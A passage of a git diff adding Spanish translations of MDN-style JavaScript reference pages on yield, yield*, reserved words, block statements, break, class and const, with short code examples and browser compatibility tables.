+<pre class="syntaxbox notranslate">[<var>rv</var>] = <strong>yield</strong> [<var>expression</var>]</pre>
+
+<dl>
+ <dt><code><var>expression</var></code> {{optional_inline}}</dt>
+ <dd>Define el valor que se devolverá desde la función generadora a través del {{jsxref("Iteration_protocols", "protocolo iterador", "#El_protocolo_iterador")}}. Si se omite, devuelve <code>undefined</code> en su lugar.</dd>
+ <dt><code><var>rv</var></code> {{optional_inline}}</dt>
+ <dd>
+ <p>Recupera el valor opcional pasado al método <code>next()</code> del generador para reanudar su ejecución.</p>
+ </dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La palabra clave <code>yield</code> detiene la ejecución de la función del generador y el valor de la expresión que sigue a la palabra clave <code>yield</code> se devuelve al llamador del generador. Se puede considerar como una versión basada en un generador de la palabra clave <code>return</code>.</p>
+
+<p><code>yield</code> solo se puede llamar directamente desde la función generadora que la contiene. No se puede llamar desde funciones anidadas o retrollamadas.</p>
+
+<p>La palabra clave <code>yield</code> hace que la llamada al método <code>next()</code> del generador devuelva un objeto <code>IteratorResult</code> con dos propiedades: <code>value</code> y <code>done</code>. La propiedad <code>value</code> es el resultado de evaluar la expresión <code>yield</code>, y <code>done</code> es <code>false</code>, lo cual indica que la función generadora no se ha completado completamente.</p>
+
+<p>Una vez en pausa en una expresión <code>yield</code>, la ejecución del código del generador permanece en pausa hasta que se llama al método <code>next()</code> del generador. Cada vez que se llama al método <code>next()</code> del generador, el generador reanuda la ejecución y se ejecuta hasta que alcanza uno de los siguientes:</p>
+
+<ul>
+ <li>Un <code>yield</code>, el cual hace que el generador vuelva a pausar y devuelva el nuevo valor del generador. La próxima vez que se llame a <code>next()</code>, la ejecución se reanudará con la instrucción inmediatamente después de <code>yield</code>.</li>
+ <li>{{jsxref("Statements/throw", "throw")}} se usa para lanzar una excepción desde el generador. Esta detiene la ejecución del generador por completo y la ejecución se reanuda en el llamador (como suele ser el caso cuando se lanza una excepción).</li>
+ <li>Se alcanza el final de la función generadora. En este caso, la ejecución del generador finaliza y se devuelve un <code>IteratorResult</code> al llamador en el que el <code>value</code> es {{jsxref("undefined")}} y <code>done</code> es <code>true</code>.</li>
+ <li>Se alcanza una instrucción {{jsxref("Statements/return", "return")}}. En este caso, la ejecución del generador finaliza y se devuelve un <code>IteratorResult</code> al llamador en el que el <code>value</code> es el valor especificado por la instrucción <code>return</code> y <code>done</code> es <code>true</code>.</li>
+</ul>
+
+<p>Si se pasa un valor opcional al método <code>next()</code> del generador, ese valor se convierte en el valor devuelto por la operación <code>yield</code> actual del generador.</p>
+
+<p>Entre la ruta del código del generador, sus operadores <code>yield</code> y la capacidad de especificar un nuevo valor inicial pasándolo a {{jsxref("Generator.prototype.next()")}}, los generadores ofrecen enorme poder y control.</p>
+
+<div class="blockIndicator warning">
+<p>Desafortunadamente, <code>next()</code> es asimétrico, pero eso no se puede evitar: siempre envía un valor al <code>yield</code> actualmente suspendido, pero devuelve el operando del siguiente <code>yield</code>.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usar_yield">Usar <code>yield</code></h3>
+
+<p>El siguiente código es la declaración de una función generadora de ejemplo.</p>
+
+<pre class="brush: js notranslate">function* countAppleSales () {
+  let saleList = [3, 7, 5]
+  for (let i = 0; i &lt; saleList.length; i++) {
+    yield saleList[i]
+  }
+}</pre>
+
+<p>Una vez que se define una función generadora, se puede usar construyendo un iterador como el siguiente.</p>
+
+<pre class="brush: js notranslate">let appleStore = countAppleSales()  // Generator { }
+console.log(appleStore.next())      // { value: 3, done: false }
+console.log(appleStore.next())      // { value: 7, done: false }
+console.log(appleStore.next())      // { value: 5, done: false }
+console.log(appleStore.next())      // { value: undefined, done: true }</pre>
+
+<p>También puedes enviar un valor con <code>next(value)</code> al generador. '<code>step</code>' se evalúa como un valor de retorno en esta sintaxis [<var>rv</var>] = <strong>yield</strong> [<var>expression</var>]</p>
+
+<pre class="brush: js notranslate">function* counter(value) {
+ let step;
+
+ while (true) {
+   step = yield ++value;
+
+   if (step) {
+     value += step;
+   }
+ }
+}
+
+const generatorFunc = counter(0);
+console.log(generatorFunc.next().value);   // 1
+console.log(generatorFunc.next().value);   // 2
+console.log(generatorFunc.next().value);   // 3
+console.log(generatorFunc.next(10).value); // 14
+console.log(generatorFunc.next().value);   // 15
+console.log(generatorFunc.next(10).value); // 26</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#prod-YieldExpression', 'Yield')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.operators.yield")}}</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">El protocolo <code>Iterator</code></a></li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/yield_star_/index.html b/files/es/web/javascript/referencia/operadores/yield_star_/index.html
new file mode 100644
index 0000000000..e2167b8c41
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/yield_star_/index.html
@@ -0,0 +1,199 @@
+---
+title: yield*
+slug: Web/JavaScript/Referencia/Operadores/yield*
+tags:
+  - ECMAScript6
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Operators/yield*
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><code>La expresión </code><strong><code>yield*</code></strong><strong> </strong>es usada para delegar a otro {{jsxref("Statements/function*", "generator")}} u objeto iterable.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"> yield* [[expression]];</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>La expresión que retorna un objeto iterable</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La expresión <code>yield*</code> itera sobre el operador realizando yield de cada valor retornado por este.</p>
+
+<p>El valor de la expresion <code>yield*</code> es el valor retornado por el iterador en si mismo cuando es finalizado (ej., cuando <code>done</code> es true).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Delegando_a_otro_generator">Delegando a otro generator</h3>
+
+<p>En el siguiente código, los valores declarados con yield en <code>g1()</code> son devueltos por las llamadas a <code>next() al igual que en</code> <code>g2()</code>.</p>
+
+<pre class="brush: js">function* g1() {
+  yield 2;
+  yield 3;
+  yield 4;
+}
+
+function* g2() {
+  yield 1;
+  yield* g1();
+  yield 5;
+}
+
+var iterator = g2();
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: 3, done: false }
+console.log(iterator.next()); // { value: 4, done: false }
+console.log(iterator.next()); // { value: 5, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }
+</pre>
+
+<h3 id="Otros_objetos_iterables">Otros objetos iterables</h3>
+
+<p>Además de los objetos generator, <code>yield*</code> también se puede usar <code>yield sobre otros tipos de iterables</code>, ej. arrays, strings u objetos arguments.</p>
+
+<pre class="brush: js">function* g3() {
+  yield* [1, 2];
+  yield* "34";
+  yield* Array.from(arguments);
+}
+
+var iterator = g3(5, 6);
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: "3", done: false }
+console.log(iterator.next()); // { value: "4", done: false }
+console.log(iterator.next()); // { value: 5, done: false }
+console.log(iterator.next()); // { value: 6, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }
+</pre>
+
+<h3 id="El_valor_de_la_expresión_yield*">El valor de la expresión <code>yield*</code></h3>
+
+<p><code>yield*</code> es una expresión, no una declaración, por lo que se evalua como un valor.</p>
+
+<pre class="brush: js">function* g4() {
+  yield* [1, 2, 3];
+  return "foo";
+}
+
+var result;
+
+function* g5() {
+  result = yield* g4();
+}
+
+var iterator = g5();
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: 3, done: false }
+console.log(iterator.next()); // { value: undefined, done: true },
+                              // g4() returned { value: "foo", done: true } at this point
+
+console.log(result);          // "foo"
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES6', '#', 'Yield')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inical.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#', 'Yield')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("27.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("27.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notas_específicas_de_Firefox">Notas específicas de Firefox</h2>
+
+<ul>
+ <li>Iniciando con Gecko 33 {{geckoRelease(33)}}, el análisis del yield expression ha sido actualizado para cumplir con la última especificación ES6 ({{bug(981599)}}):
+  <ul>
+   <li>Ahora está implementada la restricción de salto de línea. No está permitido el salto de línea entre "yield" y "*". Código como el siguiente lanzará una {{jsxref("SyntaxError")}}:
+    <pre class="brush: js">function* foo() {
+  yield
+  *[];
+}</pre>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Referencia/Iteration_protocols">Protocolos de iteración</a></li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/palabras_reservadas/index.html b/files/es/web/javascript/referencia/palabras_reservadas/index.html
new file mode 100644
index 0000000000..32e0391e89
--- /dev/null
+++ b/files/es/web/javascript/referencia/palabras_reservadas/index.html
@@ -0,0 +1,98 @@
+---
+title: Palabras Reservadas
+slug: Web/JavaScript/Referencia/Palabras_Reservadas
+tags:
+  - JavaScript
+  - palabras reservadas
+translation_of: Web/JavaScript/Reference/Lexical_grammar#Keywords
+---
+<p> </p>
+
+<p>Las siguientes son palabras reservadas y no pueden ser utilizadas como variables, funciones, métodos o identificadores de objetos. Las siguientes son reservadas como palabras claves existentes por la especificación ECMAScript:</p>
+
+<h3 id="Reserved_keywords_as_of_ECMAScript_6">Reserved keywords as of ECMAScript 6</h3>
+
+<div class="threecolumns">
+<ul>
+ <li>{{jsxref("Sentencias/break", "break")}}</li>
+ <li>{{jsxref("Sentencias/switch", "case")}}</li>
+ <li><code>class</code></li>
+ <li>{{jsxref("Sentencias/try...catch", "catch")}}</li>
+ <li>{{jsxref("Sentencias/const", "const")}}</li>
+ <li>{{jsxref("Sentencias/continue", "continue")}}</li>
+ <li>{{jsxref("Sentencias/debugger", "debugger")}}</li>
+ <li>{{jsxref("Sentencias/switch", "default")}}</li>
+ <li>{{jsxref("Operadores/delete", "delete")}}</li>
+ <li>{{jsxref("Sentencias/while", "do")}}</li>
+ <li>{{jsxref("Sentencias/if...else", "else")}}</li>
+ <li>{{jsxref("Sentencias/export", "export")}}</li>
+ <li><code>extends</code></li>
+ <li>{{jsxref("Sentencias/try...catch", "finally")}}</li>
+ <li>{{jsxref("Sentencias/for", "for")}}</li>
+ <li>{{jsxref("Sentencias/function", "function")}}</li>
+ <li>{{jsxref("Sentencias/if...else", "if")}}</li>
+ <li>{{jsxref("Sentencias/import", "import")}}</li>
+ <li>{{jsxref("Sentencias/for...in", "in")}}</li>
+ <li>{{jsxref("Operadores/instanceof", "instanceof")}}</li>
+ <li>{{jsxref("Sentencias/let", "let")}}</li>
+ <li>{{jsxref("Operadores/new", "new")}}</li>
+ <li>{{jsxref("Sentencias/return", "return")}}</li>
+ <li>{{jsxref("Operadores/super", "super")}}</li>
+ <li>{{jsxref("Sentencias/switch", "switch")}}</li>
+ <li>{{jsxref("Operadores/this", "this")}}</li>
+ <li>{{jsxref("Sentencias/throw", "throw")}}</li>
+ <li>{{jsxref("Sentencias/try...catch", "try")}}</li>
+ <li>{{jsxref("Operadores/typeof", "typeof")}}</li>
+ <li>{{jsxref("Sentencias/var", "var")}}</li>
+ <li>{{jsxref("Operadores/void", "void")}}</li>
+ <li>{{jsxref("Sentencias/while", "while")}}</li>
+ <li>{{jsxref("Sentencias/with", "with")}}</li>
+ <li><code>yield</code></li>
+</ul>
+</div>
+
+<p>Las siguientes estan reservadas como palabras futuras por la especificación ECMAScript:</p>
+
+<ul>
+ <li><code>enum</code></li>
+</ul>
+
+<p>Las siguientes estan reservadas como palabras futuras cuando se encuentre el modo correcto para su estructura de codigo:</p>
+
+<div class="threecolumns">
+<ul>
+ <li><code>implements</code></li>
+ <li><code>package</code></li>
+ <li><code>protected</code></li>
+ <li><code>static</code></li>
+ <li><code>interface</code></li>
+ <li><code>private</code></li>
+ <li><code>public</code></li>
+</ul>
+</div>
+
+<h4 id="Futuras_Palabras_Reservadas_en_estandares_antiguos">Futuras Palabras Reservadas en estandares antiguos</h4>
+
+<p>Las siguientes estan reservadas como palabras futuras por la antigua especificación ECMAScript (ECMAScript 1 hasta 3).</p>
+
+<div class="threecolumns">
+<ul>
+ <li><code>abstract</code></li>
+ <li><code>boolean</code></li>
+ <li><code>byte</code></li>
+ <li><code>char</code></li>
+ <li><code>double</code></li>
+ <li><code>final</code></li>
+ <li><code>float</code></li>
+ <li><code>goto</code></li>
+ <li><code>int</code></li>
+ <li><code>long</code></li>
+ <li><code>native</code></li>
+ <li><code>short</code></li>
+ <li><code>synchronized</code></li>
+ <li><code>transient</code></li>
+ <li><code>volatile</code></li>
+</ul>
+</div>
+
+<p>Adicionalmente, los literales "<code>null"</code>, "<code>true"</code>, y "<code>false"</code> estan reservadas en ECMAScript para usos normales.</p>
diff --git a/files/es/web/javascript/referencia/sentencias/block/index.html b/files/es/web/javascript/referencia/sentencias/block/index.html
new file mode 100644
index 0000000000..36b2054d60
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/block/index.html
@@ -0,0 +1,89 @@
+---
+title: block
+slug: Web/JavaScript/Referencia/Sentencias/block
+tags:
+  - JavaScript
+  - Referencia
+  - Referência(2)
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/block
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>Una sentencia block se utiliza para agrupar cero o más sentencias. Este grupo block se delimita por un par de llaves.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="eval">{<em> sentencia_1</em><em>; sentencia_2</em>; ...<em> sentencia_n</em>; }
+</pre>
+
+<dl>
+ <dt><code>sentencia_1</code>, <code>sentencia_2</code>, <code>sentencia_n</code></dt>
+ <dd>Sentencias agrupadas dentro de una sentencia block.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Esta sentencia se utiliza comúnmente para controlar sentencias de flujo (es decir <code>if</code>, <code>for</code>, <code>while</code>). Por ejemplo:</p>
+
+<pre class="brush: js">while (x &lt; 10) {
+   x++;
+}
+</pre>
+
+<p><font><font>Las variables declaradas con </font></font><code>var</code> <strong><font><font>no</font></font></strong><font><font> tienen alcance de bloque(</font></font>block scope<font><font>)</font></font>. Las variables introducidas dentro de un grupo block tienen el alcance de la función que lo contiene o del script, y los efectos de su asignación persisten más allá del grupo block en sí mismo. En otras palabras, las sentencias block no incluyen ningún alcance. Aunque los grupos block "en solitario" (standalone) son una sintaxis válida, usted no querrá utilizar grupos block en solitario en JavaScript, ya que ellos no hacen lo que parecen, si piensa que funcionan de manera similar a los bloques en C o Java. Por ejemplo:</p>
+
+<pre class="brush: js">var x = 1;
+{
+   var x = 2;
+}
+alert(x); // resultado 2
+</pre>
+
+<p>Este obtiene el resultado 2 ya que la sentencia <code>var x</code> dentro del grupo block tiene el mismo alcance que la sentencia <code>var x</code> antes del mismo. En C o Java, el código equivalente tendría como resultado 1.</p>
+
+<h4 id="Con_let_y_const"><font><font>Con </font></font><code><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Sentencias/let">let</a> </code><font><font>y </font></font><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Sentencias/const">const</a></h4>
+
+<p>Por el contrario, las variables declaradas con <code>let</code> y <code>const</code> tienen alcance de bloque.</p>
+
+<pre><code>let x = 1;
+{
+  let x = 2;
+}
+console.log(x); // logs 1</code>
+</pre>
+
+<p><font><font>El alcance </font></font><code>x = 2</code><font><font> es limitado solamente al bloque en el que está definido.</font></font></p>
+
+<p><font><font>Lo mismo para  </font></font><code>const</code><font><font>:</font></font></p>
+
+<pre><code>const c = 1;
+{
+  const c = 2;
+}
+console.log(c); // logs 1 </code>y no lanza SyntaxError...
+</pre>
+
+<p>Tenga en cuenta que la variable  <code>const c = 2 con alcance de bloque, </code><strong><em>no</em> lanza</strong> un  <code>SyntaxError: </code>El identificador 'c' ya ha sido declarado. Esto es porque <strong>se puede declarar de forma única</strong> dentro del bloque, sin interferir con la otra que tiene un  alcance global.</p>
+
+<h4 id="Con_function"><font><font>Con </font></font><code>function</code></h4>
+
+<p>La <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function">declaración de una función</a> también tiene un alcance limitado dentro del bloque donde se produce la declaración:</p>
+
+<pre class="brush: js">nacion('frances');  // TypeError: nacion no es una función
+{
+  function nacion(nacionalidad) {
+   console.log('Yo soy ' + nacionalidad);
+  }
+nacion('español'); // correcto. logs Yo soy español
+}</pre>
+
+<p> </p>
+
+<h2 id="Vea_También">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("Sentencias/while", "while")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/break/index.html b/files/es/web/javascript/referencia/sentencias/break/index.html
new file mode 100644
index 0000000000..aff2a58733
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/break/index.html
@@ -0,0 +1,41 @@
+---
+title: break
+slug: Web/JavaScript/Referencia/Sentencias/break
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/break
+---
+<div>
+ {{jsSidebar("Statements")}}</div>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Termina el bucle actual, sentecia switch o label y transfiere el control del programa a la siguiente sentencia a la sentecia de terminación de éstos elementos.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre class="syntaxbox">break [<em>etiqueta</em>];</pre>
+<dl>
+ <dt>
+  <code>etiqueta</code></dt>
+ <dd>
+  Identificador asociado con la etiqueta de la sentencia.</dd>
+</dl>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p>La sentencia <code>break</code> incluye una etiqueta opcional que permite al programa salir de una sentencia etiquetada. La sentencia <code>break</code> necesita estar anidada dentro de la sentencia etiquetada. La sentencia etiquetada puede ser cualquier tipo de sentencia; no tiene que ser una sentencia de bucle.</p>
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+<h4 id="Ejemplo:_Usando_break" name="Ejemplo:_Usando_break">Ejemplo: Usando <code>break</code></h4>
+<p>La siguiente función tiene una sentencia que termina el bucle {{jsxref("Sentencias/while", "while")}} cuando <code>i</code> es 3, y entonces devuelve el valor 3 * <code>x</code>.</p>
+<pre class="brush: js">function comprobarBreak(x) {
+   var i = 0;
+   while (i &lt; 6) {
+      if (i == 3)
+         break;
+      i++;
+   }
+   return i * x;
+}
+</pre>
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+<ul>
+ <li>{{jsxref("Sentencias/continue", "continue")}}</li>
+ <li>{{jsxref("Sentencias/label", "label")}}</li>
+ <li>{{jsxref("Sentencias/switch", "switch")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/class/index.html b/files/es/web/javascript/referencia/sentencias/class/index.html
new file mode 100644
index 0000000000..c37b9ba43b
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/class/index.html
@@ -0,0 +1,148 @@
+---
+title: class
+slug: Web/JavaScript/Referencia/Sentencias/class
+translation_of: Web/JavaScript/Reference/Statements/class
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La<strong> declaración class</strong> crea una nueva clase con el nombre proporcionado utilizando la herencia basada en prototipos</p>
+
+<div class="noinclude">
+<p>También se puede definir una clase usando una {{jsxref("Operators/class", "expresión de clase", "", 1)}}. Pero a diferencia de las expresiones de clases, la declaración de clases no permite que una clase existente sea declarada de nuevo y en caso de hacerse, lanzará un error de tipo.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js">class <em>name</em> [extends] {
+  // Contenido de la clase
+}
+</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>De la misma manera que con las expresiones de clase, el contenido de una clase se ejecuta en <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">modo estricto</a>.</p>
+
+<p>Las declaraciones de clases no están {{Glossary("Hoisting", "izadas")}} (al contrario que las <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">declaraciones de funciones</a>).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Declaración_sencilla_de_una_clase">Declaración sencilla de una clase</h3>
+
+<p>En el siguiente ejemplo, primero definimos la clase <code>Polygon</code>, luego extendemos de ella para crear la clase <code>Square</code>. Notar que <code>super()</code>, utilizado en el constructor, sólo puede ser llamado dentro del constructor y debe ser llamado antes de que la palabra clave <code>this</code> pueda ser usada.</p>
+
+<pre class="brush: js">class Polygon {
+  constructor(height, width) {
+    this.name = 'Polygon';
+    this.height = height;
+    this.width = width;
+  }
+}
+
+class Square extends Polygon {
+  constructor(length) {
+    super(length, length);
+    this.name = 'Square';
+  }
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoDesktop(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Array subclassing</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome para Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+  <tr>
+   <td>Array subclassing</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function"><code>declaración de funciones</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>expresión de clases</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Clases</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/const/index.html b/files/es/web/javascript/referencia/sentencias/const/index.html
new file mode 100644
index 0000000000..c55350fbd4
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/const/index.html
@@ -0,0 +1,127 @@
+---
+title: const
+slug: Web/JavaScript/Referencia/Sentencias/const
+tags:
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/const
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Las variables constantes presentan un <strong>ámbito de bloque </strong><font><font>(</font></font><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Sentencias/block">block </a>scope<font><font>)</font></font> tal y como lo hacen las variables definidas usando la instrucción <a href="/es/docs/Web/JavaScript/Referencia/Sentencias/let">let</a>, con la particularidad de que el valor de una constante no puede cambiarse a través de la reasignación. Las constantes <u>no se pueden redeclarar</u>.</p>
+
+<div class="warning">
+<p>La <strong>redeclaración</strong> de la misma variable bajo un mismo <font><font><a href="https://www.ecma-international.org/ecma-262/6.0/#sec-lexical-environments" rel="noopener">ámbito léxico</a></font></font> terminaría en un error de tipo <code><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/SyntaxError" title="SyntaxError">SyntaxError</a></code>. Esto también es <strong>extensible</strong> si usamos <code>var</code> dentro del <font><font>ámbito léxico</font></font>. Esto nos salvaguarda de redeclarar una variable accidentalmente y que no era posible  solo con <code>var.</code></p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">const <em>varname1 = <em>value1 [</em>, <em>varname2</em> = <em>value2 [</em>, <em>varname3</em> = <em>value3 [</em>, ... [</em>, <em>varnameN</em> = <em>valueN]]]]</em>;</pre>
+
+<dl>
+ <dt><code>varnameN</code></dt>
+ <dd>Nombre de la constante. Puede ser un identificador legal.</dd>
+</dl>
+
+<dl>
+ <dt><code>valueN</code></dt>
+ <dd>Valor de la constante. Puede ser cualquier expresión legal.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Esta declaración crea una constante cuyo alcance puede ser <strong>global o local para el bloque en el que se declara</strong>. Es necesario <strong>inicializar</strong> la constante, es decir, se debe especificar su valor en la misma sentencia en la que se declara, lo que tiene sentido, dado que no se puede cambiar posteriormente.</p>
+
+<p>La declaración de una constante crea una referencia de sólo lectura. No significa que el valor que tiene sea inmutable, sino que el identificador de variable no puede ser reasignado, por lo tanto, en el caso de que la asignación a la constante sea un objeto, el objeto sí que puede ser alterado.</p>
+
+<p>Una constante <strong>no puede compartir su nombre</strong> con una función o variable en el mismo ámbito.</p>
+
